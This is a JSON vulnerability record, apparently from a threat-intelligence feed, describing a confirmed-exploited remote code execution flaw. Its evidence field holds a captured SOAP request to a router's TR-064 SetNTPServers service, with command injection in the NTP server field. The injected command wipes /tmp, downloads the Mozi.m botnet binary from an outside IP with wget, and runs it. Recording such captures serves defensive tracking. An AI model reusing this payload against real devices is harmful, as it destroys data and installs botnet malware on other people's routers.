{"uuid": "523ca818-9868-4f11-832b-baf2fbd9d76c", "vulnerability": {"vulnId": "GCVE-1-2026-0020", "altId": []}, "gcve": {"origin_uuid": "1a89b78e-f703-45f3-bb86-59eb712668bd", "gna": 1, "object_uuid": "523ca818-9868-4f11-832b-baf2fbd9d76c"}, "status": {"exploited": true, "status_reason": "confirmed", "status_updated_at": "2026-03-23T06:37:51.648436+00:00"}, "characteristics": {"severity": 100.0, "local_access_required": false, "remote_code_execution": true, "authentication_required": false}, "timestamps": {"asserted_at": "2026-03-11T14:12:55", "last_seen_at": "2026-03-11T14:12:55", "first_seen_at": "2026-01-14T14:12:55"}, "scope": null, "evidence": [{"type": "sinkhole", "source": "cti-feed.circl.lu", "signal": "in_the_wild_attempts", "confidence": 1.0, "details": {"note": "POST /UD/act?1 HTTP/1.1\r\nHost: 127.0.0.1:7574\r\nUser-Agent: Hello, world\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\nContent-Type: text/xml\r\nContent-Length: 640\r\n\r\n<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n<SOAP-ENV:Body><u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1&qu ot;>\r\n<NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://180.243.4.71:51387/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`\r\n</NewNTPServer1><NewNTPServer2>`echo DEATH`\r\n</NewNTPServer2><NewNTPServer3>`echo DEATH`\r\n</NewNTPServer3><NewNTPServer4>`echo DEATH`\r\n</NewNTPServer4><NewNTPServer5>`echo DEATH`\r\n</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>"}}], "references": null}